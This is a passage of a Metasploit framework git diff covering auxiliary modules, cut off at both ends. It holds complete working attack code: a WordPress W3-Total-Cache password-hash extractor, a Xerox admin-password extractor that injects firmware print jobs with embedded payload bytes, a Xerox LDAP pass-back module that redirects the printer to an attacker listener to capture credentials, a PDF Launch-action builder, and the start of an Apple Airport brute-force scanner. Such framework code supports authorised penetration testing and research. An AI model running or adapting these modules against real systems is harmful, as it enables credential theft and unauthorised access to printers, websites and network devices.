"Windows Deployment Services") + print_status("#{rhost}:#{rport} Stored unattend.xml in #{path}") + end + + def report_creds(domain, user, pass) + report_auth_info( + :host => rhost, + :port => 445, + :sname => 'smb', + :proto => 'tcp', + :source_id => nil, + :source_type => "aux", + :user => "#{domain}\\#{user}", + :pass => pass + ) + end + +end + diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index 1a7ece5952..dc014e4abe 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -1,13 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -15,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'W3-Total-Cache Wordpress-plugin 0.9.2.4 (or before) Username and Hash Extract', 'Description' => - "The W3-Total-Cache Wordpress Plugin <= 0.9.24 can cache database statements + "The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards so it can be vulnerable. These cache files are in the webroot of the Wordpress installation and can be downloaded if the name is guessed. This modules tries to @@ -25,76 +24,82 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'OSVDB', '88744'], - [ 'URL', 'http://seclists.org/fulldisclosure/2012/Dec/242'] + ['OSVDB', '88744'], + ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/242'], + ['WPVDB', '6621'] ], 'Author' => [ - 'Christian Mehlmauer <FireFart[at]gmail.com>', # Metasploit module - 'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC + 'Christian Mehlmauer', # Metasploit module + 'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC ] ) register_options( [ - OptString.new('TARGETURI', [ true, 'Wordpress root', '/']), - OptString.new('TABLE_PREFIX', [ true, 'Wordpress table prefix', 'wp_']), - OptInt.new('SITE_ITERATIONS', [ true, 'Number of sites to iterate', 25]), - OptInt.new('USER_ITERATIONS', [ true, 'Number of users to iterate', 25]), - OptString.new('WP_CONTENT_DIR', [ true, 'Wordpress content directory', 'wp-content']) + OptString.new('TABLE_PREFIX', [true, 'Wordpress table prefix', 'wp_']), + OptInt.new('SITE_ITERATIONS', [true, 'Number of sites to iterate', 25]), + OptInt.new('USER_ITERATIONS', [true, 'Number of users to iterate', 25]) ], self.class) end - def wordpress_url - url = target_uri - url.path << "/" if url.path[-1,1] != "/" - url + def table_prefix + datastore['TABLE_PREFIX'] + end + + def site_iterations + datastore['SITE_ITERATIONS'] + end + + def user_iterations + datastore['USER_ITERATIONS'] end # Call the User site, so the db statement will be cached def cache_user_info(user_id) - user_url = normalize_uri(wordpress_url) + user_url = normalize_uri(target_uri) begin send_request_cgi( - { - "uri" => user_url, - "method" => "GET", - "vars_get" => { - "author" => user_id.to_s - } - }) + 'uri' => user_url, + 'method' => 'GET', + 'vars_get' => { + 'author' => user_id.to_s + } + ) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - vprint_error("Unable to connect to #{url}") - return nil + vprint_error("Unable to connect to #{user_url}") rescue ::Timeout::Error, ::Errno::EPIPE - vprint_error("Unable to connect to #{url}") - return nil + vprint_error("Unable to connect to #{user_url}") end + + nil end def run_host(ip) - users_found = false - for site_id in 1..datastore["SITE_ITERATIONS"] do + (1..site_iterations).each do |site_id| + vprint_status("Trying site_id #{site_id}...") - for user_id in 1..datastore["USER_ITERATIONS"] do + + (1..user_iterations).each do |user_id| + vprint_status("Trying user_id #{user_id}...") + # used to cache the statement cache_user_info(user_id) - query="SELECT * FROM #{datastore["TABLE_PREFIX"]}users WHERE ID = '#{user_id}'" + query = "SELECT * FROM #{table_prefix}users WHERE ID = '#{user_id}'" query_md5 = ::Rex::Text.md5(query) - host = datastore["VHOST"] || ip - key="w3tc_#{host}_#{site_id}_sql_#{query_md5}" + host = datastore['VHOST'] || ip + key = "w3tc_#{host}_#{site_id}_sql_#{query_md5}" key_md5 = ::Rex::Text.md5(key) - hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}" - url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache") - uri << hash_path + hash_path = normalize_uri(key_md5[0, 1], key_md5[1, 1], key_md5[2, 1], key_md5) + url = normalize_uri(wordpress_url_wp_content, 'w3tc', 'dbcache', hash_path) result = nil begin - result = send_request_cgi({ "uri" => url, "method" => "GET" }) + result = send_request_cgi('uri' => url, 'method' => 'GET') rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Unable to connect to #{url}") break @@ -103,8 +108,8 @@ class Metasploit3 < Msf::Auxiliary break end - if result.nil? or result.body.nil? - print_error("No response received") + if result.nil? || result.body.nil? + print_error('No response received') break end @@ -113,18 +118,18 @@ class Metasploit3 < Msf::Auxiliary print_good("Username: #{match[0]}") print_good("Password Hash: #{match[1]}") report_auth_info( - :host => rhost, - :port => rport, - :sname => ssl ? "https" : "http", - :user => match[0], - :pass => match[1], - :active => true, - :type => "hash" + host: rhost, + port: rport, + sname: ssl ? 'https' : 'http', + user: match[0], + pass: match[1], + active: true, + type: 'hash' ) users_found = true end end end - print_error("No users found :(") unless users_found + print_error('No users found :(') unless users_found end end diff --git a/modules/auxiliary/gather/xbmc_traversal.rb b/modules/auxiliary/gather/xbmc_traversal.rb index 5e76ef9005..20191221bd 100644 --- a/modules/auxiliary/gather/xbmc_traversal.rb +++ b/modules/auxiliary/gather/xbmc_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/xerox_pwd_extract.rb b/modules/auxiliary/gather/xerox_pwd_extract.rb new file mode 100644 index 0000000000..7ba3ac620c --- /dev/null +++ b/modules/auxiliary/gather/xerox_pwd_extract.rb @@ -0,0 +1,190 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Xerox Administrator Console Password Extractor', + 'Description' => %q{ + This module will extract the management console's admin password from the + Xerox file system using firmware bootstrap injection. + }, + 'Author' => + [ + 'Deral "Percentx" Heiland', + 'Pete "Bokojan" Arzamendi' + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptPort.new('RPORT', [true, 'Web management console port for the printer', 80]), + OptPort.new('JPORT', [true, 'Jetdirect port', 9100]), + OptInt.new('TIMEOUT', [true, 'Timeout to wait for printer job to run', 45]) + ], self.class) + end + + def jport + datastore['JPORT'] + end + + # Time to start the fun + def run + print_status("#{rhost}:#{jport} - Attempting to extract the web consoles admin password...") + return unless write + + print_status("#{rhost}:#{jport} - Waiting #{datastore['TIMEOUT']} seconds...") + sleep(datastore['TIMEOUT']) + passwd = retrieve + remove + + if passwd + print_good("#{rhost}:#{jport} - Password found: #{passwd}") + + loot_name = 'xerox.password' + loot_type = 'text/plain' + loot_filename = 'xerox_password.text' + loot_desc = 'Xerox password harvester' + p = store_loot(loot_name, loot_type, datastore['RHOST'], passwd, loot_filename, loot_desc) + print_status("#{rhost}:#{jport} - Credentials saved in: #{p}") + + register_creds('Xerox-HTTP', rhost, rport, 'Admin', passwd) + + else + print_error("#{rhost}:#{jport} - No credentials extracted") + end + end + + #Trigger firmware bootstrap write out password data to URL root + def write + print_status("#{rhost}:#{jport} - Sending print job") + create_print_job = '%%XRXbegin' + "\x0a" + create_print_job << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0a" + create_print_job << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0a" + create_print_job << '%%OID_ATT_JOB_COMMENT ""' + "\x0a" + create_print_job << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0a" + create_print_job << '%%OID_ATT_DLM_NAME "xerox"' + "\x0a" + create_print_job << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0a" + create_print_job << '%%OID_ATT_DLM_SIGNATURE "8ba01980993f55f5836bcc6775e9da90bc064e608bf878eab4d2f45dc2efca09"' + "\x0a" + create_print_job << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0a" + create_print_job << '%%XRXend' + "\x0a\x1f\x8b" + create_print_job << "\x08\x00\x80\xc3\xf6\x51\x00\x03\xed\xcf\x3b\x6e\xc3\x30\x0c\x06" + create_print_job << "\x60\xcf\x39\x05\xe3\xce\x31\x25\xa7\x8e\xa7\x06\xe8\x0d\x72\x05" + create_print_job << "\x45\x92\x1f\x43\x2d\x43\x94\x1b\x07\xc8\xe1\xab\x16\x28\xd0\xa9" + create_print_job << "\x9d\x82\x22\xc0\xff\x0d\x24\x41\x72\x20\x57\x1f\xc3\x5a\xc9\x50" + create_print_job << "\xdc\x91\xca\xda\xb6\xf9\xcc\xba\x6d\xd4\xcf\xfc\xa5\x56\xaa\xd0" + create_print_job << "\x75\x6e\x35\xcf\xba\xd9\xe7\xbe\xd6\x07\xb5\x2f\x48\xdd\xf3\xa8" + create_print_job << "\x6f\x8b\x24\x13\x89\x8a\xd9\x47\xbb\xfe\xb2\xf7\xd7\xfc\x41\x3d" + create_print_job << "\x6d\xf9\x3c\x4e\x7c\x36\x32\x6c\xac\x49\xc4\xef\x26\x72\x98\x13" + create_print_job << "\x4f\x96\x6d\x98\xba\xb1\x67\xf1\x76\x89\x63\xba\x56\xb6\xeb\xe9" + create_print_job << "\xd6\x47\x3f\x53\x29\x57\x79\x75\x6f\xe3\x74\x32\x22\x97\x10\x1d" + create_print_job << "\xbd\x94\x74\xb3\x4b\xa2\x9d\x2b\x73\xb9\xeb\x6a\x3a\x1e\x89\x17" + create_print_job << "\x89\x2c\x83\x89\x9e\x87\x94\x66\x97\xa3\x0b\x56\xf8\x14\x8d\x77" + create_print_job << "\xa6\x4a\x6b\xda\xfc\xf7\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00" + create_print_job << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8f\xea\x03\x34\x66\x0b\xc1" + create_print_job << "\x00\x28\x00\x00" + + begin + connect(true, 'RPORT' => jport) + sock.put(create_print_job) + rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout + print_error("#{rhost}:#{jport} - Error connecting to #{rhost}") + ensure + disconnect + end + end + + def retrieve + print_status("#{rhost}:#{jport} - Retrieving password from #{rhost}") + request = "GET /Praeda.txt HTTP/1.0\r\n\r\n" + + begin + connect + sock.put(request) + res = sock.get_once || '' + passwd = res.match(/\r\n\s(.+?)\n/) + return passwd ? passwd[1] : '' + rescue ::EOFError, ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, ::EOFError + print_error("#{rhost}:#{jport} - Error getting password from #{rhost}") + return + ensure + disconnect + end + end + + # Trigger firmware bootstrap to delete the trace files and praeda.txt file from URL + def remove + print_status("#{rhost}:#{jport} - Removing print job") + remove_print_job = '%%XRXbegin' + "\x0A" + remove_print_job << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0A" + remove_print_job << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0A" + remove_print_job << '%%OID_ATT_JOB_COMMENT ""' + "\x0A" + remove_print_job << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0A" + remove_print_job << '%%OID_ATT_DLM_NAME "xerox"' + "\x0A" + remove_print_job << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0A" + remove_print_job << '%%OID_ATT_DLM_SIGNATURE "8b5d8c631ec21068211840697e332fbf719e6113bbcd8733c2fe9653b3d15491"' + "\x0A" + remove_print_job << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0A" + remove_print_job << '%%XRXend' + "\x0a\x1f\x8b" + remove_print_job << "\x08\x00\x5d\xc5\xf6\x51\x00\x03\xed\xd2\xcd\x0a\xc2\x30\x0c\xc0" + remove_print_job << "\xf1\x9e\x7d\x8a\x89\x77\xd3\x6e\xd6\xbd\x86\xaf\x50\xb7\xc1\x04" + remove_print_job << "\xf7\x41\xdb\x41\x1f\xdf\x6d\x22\x78\xd2\x93\x88\xf8\xff\x41\x92" + remove_print_job << "\x43\x72\x48\x20\xa9\xf1\x43\xda\x87\x56\x7d\x90\x9e\x95\xa5\x5d" + remove_print_job << "\xaa\x29\xad\x7e\xae\x2b\x93\x1b\x35\x47\x69\xed\x21\x2f\x0a\xa3" + remove_print_job << "\xb4\x31\x47\x6d\x55\xa6\x3f\xb9\xd4\xc3\x14\xa2\xf3\x59\xa6\xc6" + remove_print_job << "\xc6\x57\xe9\xc5\xdc\xbb\xfe\x8f\xda\x6d\xe5\x7c\xe9\xe5\xec\x42" + remove_print_job << "\xbb\xf1\x5d\x26\x53\xf0\x12\x5a\xe7\x1b\x69\x63\x1c\xeb\x39\xd7" + remove_print_job << "\x43\x15\xe4\xe4\x5d\x53\xbb\x7d\x4c\x71\x9d\x1a\xc6\x28\x7d\x25" + remove_print_job << "\xf5\xb5\x0b\x92\x96\x0f\xba\xe7\xf9\x8f\x36\xdf\x3e\x08\x00\x00" + remove_print_job << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xc4\x0d\x40\x0a" + remove_print_job << "\x75\xe1\x00\x28\x00\x00" + + begin + connect(true, 'RPORT' => jport) + sock.put(remove_print_job) + rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout + print_error("#{rhost}:#{jport} - Error removing print job from #{rhost}") + ensure + disconnect + end + end + + def register_creds(service_name, remote_host, remote_port, username, password) + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + workspace_id: myworkspace.id, + private_data: password, + private_type: :password, + username: username + } + + service_data = { + address: remote_host, + port: remote_port, + service_name: service_name, + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end +end diff --git a/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb b/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb new file mode 100644 index 0000000000..86fb68d333 --- /dev/null +++ b/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb @@ -0,0 +1,305 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/http' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::TcpServer + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Xerox Workcentre 5735 LDAP Service Redential Extractor', + 'Description' => %q{ + This module extract the printer's LDAP username and password from Xerox Workcentre 5735. + }, + 'Author' => + [ + 'Deral "Percentx" Heiland', + 'Pete "Bokojan" Arzamendi' + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', false]), + OptString.new('PASSWORD', [true, 'Password to access administrative interface. Defaults to 1111', '1111']), + OptPort.new('RPORT', [true, 'The target port on the remote printer. Defaults to 80', 80]), + OptInt.new('TIMEOUT', [true, 'Timeout for printer connection probe.', 20]), + OptInt.new('TCPDELAY', [true, 'Number of seconds the tcp server will wait before termination.', 20]), + OptString.new('NewLDAPServer', [true, 'The IP address of the LDAP server you want the printer to connect back to.']) + ], self.class) + end + + def run + print_status("#{peer} - Attempting to extract LDAP username and password...") + + @auth_cookie = default_page + if @auth_cookie.blank? + print_status("#{peer} - Unable to get authentication cookie from #{rhost}") + return + end + + status = login + return unless status + + status = ldap_server_info + return unless status + + status = update_ldap_server + return unless status + + start_listener + unless @data + print_error("#{peer} - Failed to start listiner or the printer did not send us the creds. :(") + status = restore_ldap_server + unless status + print_error("#{peer} - Failed to restore old LDAP server. Please manually restore") + end + return + end + + status = restore_ldap_server + return unless status + + ldap_binary_creds = @data.scan(/(\w+\\\w+).\s*(.+)/).flatten + ldap_creds = "#{ldap_binary_creds[0]}:#{ldap_binary_creds[1]}" + + # Woot we got creds so lets save them.# + print_good("#{peer} - The following creds were capured: #{ldap_creds}") + loot_name = 'ldap.cp.creds' + loot_type = 'text/plain' + loot_filename = 'ldap-creds.text' + loot_desc = 'LDAP Pass-back Harvester' + p = store_loot(loot_name, loot_type, datastore['RHOST'], @data, loot_filename, loot_desc) + print_status("#{peer} - Credentials saved in: #{p}") + + register_creds('ldap', rhost, @ldap_port, ldap_binary_creds[0], ldap_binary_creds[1]) + end + + def default_page + page = '/header.php?tab=status' + method = 'GET' + res = make_request(page, method, '') + if res.blank? || res.code != 200 + print_error("#{peer} - Failed to connect to #{rhost}. Please check the printers IP address.") + return '' + end + res.get_cookies + end + + def login + login_page = '/userpost/xerox.set' + login_vars = { + '_fun_function' => 'HTTP_Authenticate_fn', + 'NextPage' => '%2Fproperties%2Fauthentication%2FluidLogin.php', + 'webUsername' => 'admin', + 'webPassword' => datastore['PASSWORD'], + 'frmaltDomain' => 'default' + } + login_post_data = [] + login_vars.each_pair{|k, v| login_post_data << "#{k}=#{v}" } + login_post_data *= '&' + method = 'POST' + + res = make_request(login_page, method, login_post_data) + if res.blank? || res.code != 200 + print_error("#{peer} - Failed to login. Please check the password for the Administrator account") + return nil + end + res.code + end + + def ldap_server_info + ldap_info_page = '/ldap/index.php?ldapindex=default&from=ldapConfig' + method = 'GET' + res = make_request(ldap_info_page, method, '') + html_body = ::Nokogiri::HTML(res.body) + ldap_server_settings_html = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[1]/div/div').text + ldap_server_ip = ldap_server_settings_html.scan(/valIpv4_1_\d\[2\] = (\d+)/i).flatten + ldap_port_settings = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[4]/script').text + ldap_port_number = ldap_port_settings.scan(/valPrt_1\[2\] = (\d+)/).flatten + @ldap_server = "#{ldap_server_ip[0]}.#{ldap_server_ip[1]}.#{ldap_server_ip[2]}.#{ldap_server_ip[3]}" + @ldap_port = ldap_port_number[0] + print_status("#{peer} - LDAP server: #{@ldap_server}") + unless res.code == 200 || res.blank? + print_error("#{peer} - Failed to get LDAP data.") + return nil + end + res.code + end + + def update_ldap_server + ldap_update_page = '/dummypost/xerox.set' + ldap_update_vars = { + '_fun_function' => 'HTTP_Set_Config_Attrib_fn', + 'NextPage' => '/ldap/index.php?ldapindex=default', + 'from' =>'ldapConfig', + 'ldap.server[default].server' => "#{datastore['NewLDAPServer']}:#{datastore['SRVPORT']}", + 'ldap.maxSearchResults' => '25', + 'ldap.searchTime' => '30', + } + ldap_update_post = [] + ldap_update_vars.each_pair{|k, v| ldap_update_post << "#{k}=#{v}" } + ldap_update_post *= '&' + method = 'POST' + + print_status("#{peer} - Updating LDAP server: #{datastore['NewLDAPServer']} and port: #{datastore['SRVPORT']}") + res = make_request(ldap_update_page, method, ldap_update_post) + if res.blank? || res.code != 200 + print_error("#{peer} - Failed to update LDAP server. Please check the host: #{rhost}") + return nil + end + res.code + end + + def trigger_ldap_request + ldap_trigger_page = '/userpost/xerox.set' + ldap_trigger_vars = { + 'nameSchema'=>'givenName', + 'emailSchema'=>'mail', + 'phoneSchema'=>'telephoneNumber', + 'postalSchema'=>'postalAddress', + 'mailstopSchema'=>'l', + 'citySchema'=>'physicalDeliveryOfficeName', + 'stateSchema'=>'st', + 'zipCodeSchema'=>'postalcode', + 'countrySchema'=>'co', + 'faxSchema'=>'facsimileTelephoneNumber', + 'homeSchema'=>'homeDirectory', + 'memberSchema'=>'memberOf', + 'uidSchema'=>'uid', + 'ldapSearchName'=>'test', + 'ldapServerIndex'=>'default', + '_fun_function'=>'HTTP_LDAP_Search_fn', + 'NextPage'=>'%2Fldap%2Fmappings.php%3Fldapindex%3Ddefault%26from%3DldapConfig' + } + ldap_trigger_post = [] + ldap_trigger_vars.each_pair {|k, v| ldap_trigger_post << "#{k}=#{v}" } + ldap_trigger_post *= '&' + method = 'POST' + + print_status("#{peer} - Triggering LDAP reqeust") + res = make_request(ldap_trigger_page, method, ldap_trigger_post) + res.code + end + + def start_listener + server_timeout = datastore['TCPDELAY'].to_i + begin + print_status('Service running. Waiting for connection') + Timeout.timeout(server_timeout) do + exploit + end + rescue Timeout::Error + return + end + end + + def primer + trigger_ldap_request + end + + def on_client_connect(client) + on_client_data(client) + end + + def on_client_data(client) + @data = client.get_once + client.stop + end + + def restore_ldap_server + ldap_restore_page = '/dummypost/xerox.set' + ldap_restore_vars = { + '_fun_function' => 'HTTP_Set_Config_Attrib_fn', + 'NextPage' => '/ldap/index.php?ldapaction=add', + 'ldapindex' => 'default&from=ldapConfig', + 'ldap.server[default].server' => "#{@ldap_server}:#{@ldap_port}", + 'ldap.maxSearchResults' => '25', + 'ldap.searchTime' => '30', + 'ldap.search.uid' => 'uid', + 'ldap.search.name' => 'givenName', + 'ldap.search.email' => 'mail', + 'ldap.search.phone' => 'telephoneNumber', + 'ldap.search.postal' => 'postalAddress', + 'ldap.search.mailstop' => 'l', + 'ldap.search.city' => 'physicalDeliveryOfficeName', + 'ldap.search.state' => 'st', + 'ldap.search.zipcode' => 'postalcode', + 'ldap.search.country' => 'co', + 'ldap.search.ifax' => 'No Mappings Available', + 'ldap.search.faxNum' => 'facsimileTelephoneNumber', + 'ldap.search.home' => 'homeDirectory', + 'ldap.search.membership' => 'memberOf' + } + ldap_restore_post = [] + ldap_restore_vars.each_pair {|k, v| ldap_restore_post << "#{k}=#{v}" } + ldap_restore_post *= '&' + method = 'POST' + + print_status("#{peer} - Restoring LDAP server: #{@ldap_server}") + res = make_request(ldap_restore_page, method, ldap_restore_post) + if res.blank? || res.code != 200 + print_error("#{peer} - Failed to restore LDAP server: #{@ldap_server}. Please fix manually") + return nil + end + res.code + end + + def make_request(page, method, post_data) + res = nil + + begin + res = send_request_cgi( + { + 'uri' => page, + 'method' => method, + 'cookie' => @auth_cookie, + 'data' => post_data + }, datastore['TIMEOUT'].to_i) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + print_error("#{peer} - Connection failed.") + end + + res + end + + def register_creds(service_name, remote_host, remote_port, username, password) + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + workspace_id: myworkspace.id, + private_data: password, + private_type: :password, + username: username + } + + service_data = { + address: remote_host, + port: remote_port, + service_name: service_name, + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + + end +end diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index 503ed4d532..7ad4e310cd 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'Author' => [ - 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', + 'Ben Campbell', ], 'References' => [ diff --git a/modules/auxiliary/pdf/foxit/authbypass.rb b/modules/auxiliary/pdf/foxit/authbypass.rb index af75150593..438a3ecaee 100644 --- a/modules/auxiliary/pdf/foxit/authbypass.rb +++ b/modules/auxiliary/pdf/foxit/authbypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Auxiliary end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary result end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -71,11 +71,11 @@ class Metasploit3 < Msf::Auxiliary result end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end @@ -87,17 +87,17 @@ class Metasploit3 < Msf::Auxiliary # Randomize PDF version? pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol xref << pdf.length - pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj + pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj xref << pdf.length - pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj + pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj xref << pdf.length - pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj + pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj xref << pdf.length - pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj + pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj xref << pdf.length - pdf << ioDef(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + ioRef(6) + ">>" << endobj + pdf << io_def(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + io_ref(6) + ">>" << endobj xref << pdf.length pdf << endobj xrefPosition = pdf.length @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary xref.each do |index| pdf << "%010d 00000 n" % index << eol end - pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/auxiliary/scanner/acpp/login.rb b/modules/auxiliary/scanner/acpp/login.rb new file mode 100644 index 0000000000..57677b9661 --- /dev/null +++ b/modules/auxiliary/scanner/acpp/login.rb @@ -0,0 +1,105 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/acpp' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/acpp' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + + def initialize + super( + 'Name' => 'Apple Airport ACPP Authentication Scanner', + 'Description' => %q( + This module attempts to authenticate to an Apple Airport using its + proprietary and largely undocumented protocol known only as ACPP. + ), + 'Author' => + [ + 'Jon Hart <jon_hart[at]rapid7.com>' + ], + 'References' => + [ + %w(CVE 2003-0270) # Fixed XOR key used to encrypt password + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(Rex::Proto::ACPP::DEFAULT_PORT) + ], self.class) + + deregister_options( + # there is no username, so remove all of these options + 'DB_ALL_USERS', + 'DB_ALL_CREDS', + 'USERNAME', + 'USERPASS_FILE', + 'USER_FILE', + 'USER_AS_PASS' + ) + + register_autofilter_ports([Rex::Proto::ACPP::DEFAULT_PORT]) + end + + def run_host(ip) + vprint_status("#{ip}:#{rport} - Starting ACPP login sweep") + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + username: '<BLANK>' + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::ACPP.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: datastore['ConnectTimeout'], + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + framework: framework, + 